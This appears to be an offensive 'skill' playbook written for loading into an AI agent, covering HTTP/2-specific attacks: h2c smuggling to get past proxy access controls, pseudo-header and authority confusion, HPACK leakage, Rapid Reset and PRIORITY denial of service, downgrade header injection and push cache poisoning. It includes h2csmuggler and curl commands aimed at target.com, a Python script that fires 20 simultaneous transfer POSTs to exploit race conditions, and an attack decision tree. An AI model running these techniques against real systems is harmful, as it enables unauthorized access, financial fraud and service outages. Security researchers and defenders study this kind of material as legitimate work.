- SKILL: HTTP/2 Specific Attacks — Expert Attack Playbook
- AI LOAD INSTRUCTION
- HTTP/2 protocol-level attack techniques beyond basic request smuggling. Covers h2c smuggling, pseudo-header manipulation, HPACK attacks, single-packet race conditions, and H2→H1 downgrade injection. Base models conflate HTTP/2 smuggling with HTTP/1.1 smuggling — this skill focuses on H2-unique attack surface.
0. RELATED ROUTING
request-smuggling
— CL.TE/TE.CL/TE.TE fundamentals and H2.CL/H2.TE variants
request-smuggling/H2_SMUGGLING_VARIANTS.md
— byte-level H2.CL/H2.TE payloads, CL.0, client-side desync
race-condition
— single-packet attack leverages H2 multiplexing for race conditions
web-cache-deception
— cache poisoning via H2 smuggled responses
1. HTTP/2 ATTACK SURFACE OVERVIEW
Feature
Attack Surface
Binary framing
Frame-level manipulation, parser differentials
HPACK compression
Compression oracles (CRIME/BREACH), table poisoning
Multiplexing
Single-packet race conditions, RST_STREAM flood
Server push
Cache poisoning via unsolicited push
Pseudo-headers (
:method
/
:path
/
:authority
/
:scheme
)
Injection, request splitting, path discrepancy
2. h2c (HTTP/2 CLEARTEXT) SMUGGLING
2.1 Concept
h2c is HTTP/2 without TLS, negotiated via the HTTP/1.1
Upgrade
mechanism. Many reverse proxies forward the
Upgrade: h2c
header without understanding it, allowing attackers to bypass proxy-level access controls.
Client ──[Upgrade: h2c]──> Reverse Proxy ──[forwards blindly]──> Backend
│
Backend speaks H2
Proxy is blind to
the H2 conversation
2.2 Attack Flow
1. Client sends HTTP/1.1 request with:
GET / HTTP/1.1
Host: target.com
Upgrade: h2c
HTTP2-Settings:
Connection: Upgrade, HTTP2-Settings 2. Proxy forwards request (doesn't understand h2c) 3. Backend responds: HTTP/1.1 101 Switching Protocols 4. Connection is now HTTP/2 between client and backend 5. Proxy is now a TCP tunnel — cannot inspect/filter H2 frames 6. Client sends H2 requests directly to backend, bypassing proxy rules 2.3 What You Can Bypass ✓ Path-based access controls (/admin blocked at proxy → accessible via h2c) ✓ WAF rules (proxy-side WAF can't inspect H2 binary frames) ✓ Rate limiting (proxy-level rate limits bypassed) ✓ Authentication (proxy-enforced auth headers) ✓ IP restrictions (proxy validates source IP, but h2c tunnel bypasses) 2.4 Tool: h2csmuggler
Install
git clone https://github.com/BishopFox/h2csmuggler cd h2csmuggler pip3 install h2
Basic smuggle — access /admin bypassing proxy restrictions
python3 h2csmuggler.py -x https://target.com/ --test
Smuggle specific path
python3 h2csmuggler.py -x https://target.com/ -X GET -p /admin/users
With custom headers
python3 h2csmuggler.py -x https://target.com/ -X GET -p /admin \ -H "Authorization: Bearer token123" 2.5 Detection
Check if backend supports h2c upgrade
curl -v --http1.1 https://target.com/ \ -H "Upgrade: h2c" \ -H "HTTP2-Settings: AAMAAABkAAQCAAAAAAIAAAAA" \ -H "Connection: Upgrade, HTTP2-Settings"
101 Switching Protocols → h2c supported
200/400/other → h2c not supported or proxy blocks upgrade
- PSEUDO-HEADER INJECTION 3.1 HTTP/2 Pseudo-Headers HTTP/2 replaces the request line with pseudo-headers (prefixed with : ): Pseudo-Header HTTP/1.1 Equivalent Example :method Request method GET , POST :path Request URI /api/users :authority Host header target.com :scheme Protocol https 3.2 Path Discrepancy Between Proxy and Backend Scenario: Proxy routes based on :path, backend uses different parsing H2 request: :method: GET :path: /public/../admin/users :authority: target.com Proxy sees: /public/../admin/users → matches /public/* rule → ALLOWED Backend normalizes: /admin/users → serves admin content 3.3 Duplicate Pseudo-Header Injection HTTP/2 spec forbids duplicate pseudo-headers, but implementation varies: :method: GET :path: /public :path: /admin ← duplicate, forbidden by spec :authority: target.com Proxy may use first :path (/public) for routing Backend may use last :path (/admin) for serving 3.4 Authority vs Host Disagreement :authority: public.target.com ← proxy routes based on this host: admin.internal.target.com ← backend may prefer Host header Result: proxy routes to public vhost, backend serves admin vhost 3.5 Scheme Manipulation :scheme: https :path: /api/internal :authority: target.com If backend trusts :scheme to determine if request is "internal": :scheme: https → "external" → restricted :scheme: http → "internal" → unrestricted access
- HPACK COMPRESSION ATTACKS 4.1 CRIME/BREACH on HTTP/2 Principle: HPACK compresses headers. If attacker controls part of a header and a secret exists in the same compression context, matching guesses → smaller frames → oracle. Limitation: HPACK uses static+dynamic table (not raw DEFLATE), per-connection table, requires many requests on same connection. Harder than original CRIME. 4.2 Header Table Poisoning HPACK dynamic table stores recent headers across requests on same connection.
- Attacker sends X-Custom: malicious-value → added to dynamic table
- Subsequent requests may reference this entry
- If CDN/proxy pools connections → attacker and victim share table → cross-request leakage
- STREAM MULTIPLEXING ABUSE 5.1 Single-Packet Attack (Race Conditions) HTTP/2 multiplexing allows sending multiple requests in a single TCP packet, achieving true simultaneous server-side processing: Traditional race condition: send N requests → network jitter → inconsistent timing H2 single-packet: pack N requests into one TCP segment → all arrive simultaneously ┌─ Stream 1: POST /transfer (amount=1000) Single TCP packet ──├─ Stream 3: POST /transfer (amount=1000) ├─ Stream 5: POST /transfer (amount=1000) └─ Stream 7: POST /transfer (amount=1000) All 4 requests processed at the same nanosecond window
Using h2 library — prepare all requests, send in single write
import h2 . connection , h2 . config , socket , ssl ctx = ssl . create_default_context ( ) ctx . set_alpn_protocols ( [ 'h2' ] ) sock = ctx . wrap_socket ( socket . create_connection ( ( host , 443 ) ) , server_hostname = host ) conn = h2 . connection . H2Connection ( config = h2 . config . H2Configuration ( client_side = True ) ) conn . initiate_connection ( ) sock . sendall ( conn . data_to_send ( ) ) for i in range ( 20 ) : sid = conn . get_next_available_stream_id ( ) conn . send_headers ( sid , [ ( ':method' , 'POST' ) , ( ':path' , path ) , ( ':authority' , host ) , ( ':scheme' , 'https' ) ] ) conn . send_data ( sid , b'amount=1000' , end_stream = True ) sock . sendall ( conn . data_to_send ( ) )
ALL frames in single TCP packet
5.2 RST_STREAM Flood (CVE-2023-44487 "Rapid Reset") Attack: HEADERS (open stream) → RST_STREAM (cancel) → repeat thousands/sec Server processes each open/close but client doesn't wait for responses Amplification: minimal client resources → massive server CPU exhaustion 5.3 PRIORITY Manipulation Set exclusive=true + weight=256 on attacker's stream → starve other users' requests 6. HTTP/2 → HTTP/1.1 DOWNGRADE ISSUES 6.1 Header Injection via Binary Format H2 header values are binary — \r\n is valid data within a value. When proxy downgrades to H1, \r\n in header value becomes actual line break → header injection. H2: X-Custom: "value\r\nInjected: evil" → binary, valid H1: X-Custom: value → line break Injected: evil → new header! 6.2 Transfer-Encoding Smuggling H2 spec forbids transfer-encoding , but some proxies pass it through during downgrade → backend processes chunked encoding → H2.TE smuggling. See ../request-smuggling/H2_SMUGGLING_VARIANTS.md . 6.3 Content-Length Discrepancy H2 uses frame length (no CL needed). If proxy generates CL during downgrade but attacker also sent a CL header → conflicting lengths → request smuggling. 6.4 Header Name Case H2 requires lowercase. Sending Transfer-Encoding (uppercase) is invalid H2 but some proxies pass it → valid H1 header on backend. 7. SERVER PUSH CACHE POISONING Attack: trigger server push for /static/app.js with attacker-controlled content → PUSH_PROMISE frame pushes malicious response → browser/CDN caches poisoned content under legitimate URL → all subsequent loads serve attacker's content Mitigation: most modern browsers/CDNs restrict or disable server push 8. DECISION TREE Target supports HTTP/2? │ ├── YES │ ├── Does proxy support h2c upgrade? │ │ ├── YES → h2c smuggling (Section 2) │ │ │ └── Access restricted paths bypassing proxy rules │ │ └── NO → Continue │ │ │ ├── H2→H1 downgrade between proxy and backend? │ │ ├── YES → Header injection via binary format (Section 6.1) │ │ │ ├── TE header passthrough? → H2.TE smuggling (Section 6.2) │ │ │ ├── CL discrepancy? → H2.CL smuggling (Section 6.3) │ │ │ └── See ../request-smuggling/H2_SMUGGLING_VARIANTS.md │ │ └── NO (end-to-end H2) → Continue │ │ │ ├── Need race condition? │ │ ├── YES → Single-packet attack via multiplexing (Section 5.1) │ │ │ └── Pack N requests in one TCP segment │ │ └── NO → Continue │ │ │ ├── Pseudo-header manipulation viable? │ │ ├── :path discrepancy → path confusion (Section 3.2) │ │ ├── :authority vs Host → vhost confusion (Section 3.4) │ │ └── :scheme manipulation → access control bypass (Section 3.5) │ │ │ ├── Server push enabled? │ │ ├── YES → Cache poisoning via push (Section 7) │ │ └── NO → Continue │ │ │ └── DoS objective? │ ├── RST_STREAM rapid reset (Section 5.2) │ └── PRIORITY starvation (Section 5.3) │ └── NO (HTTP/1.1 only) └── See ../request-smuggling/SKILL.md for H1-specific techniques 9. TOOLS REFERENCE Tool Purpose h2csmuggler h2c upgrade smuggling (github.com/BishopFox/h2csmuggler) http2smugl H2-specific desync testing (github.com/neex/http2smugl) h2 (Python) HTTP/2 protocol lib for frame crafting (github.com/python-hyper/h2) nghttp2 H2 client/server tools (nghttp2.org) Burp HTTP Request Smuggler Automated variant scanning curl --http2 Quick H2 probing (built-in) 10. QUICK REFERENCE
h2c probe
curl -v --http1.1 https://target.com/ -H "Upgrade: h2c" -H "Connection: Upgrade, HTTP2-Settings" -H "HTTP2-Settings: AAMAAABkAAQCAAAAAAIAAAAA"
H2 support check
curl -v --http2 https://target.com/ 2
&1 | grep "ALPN"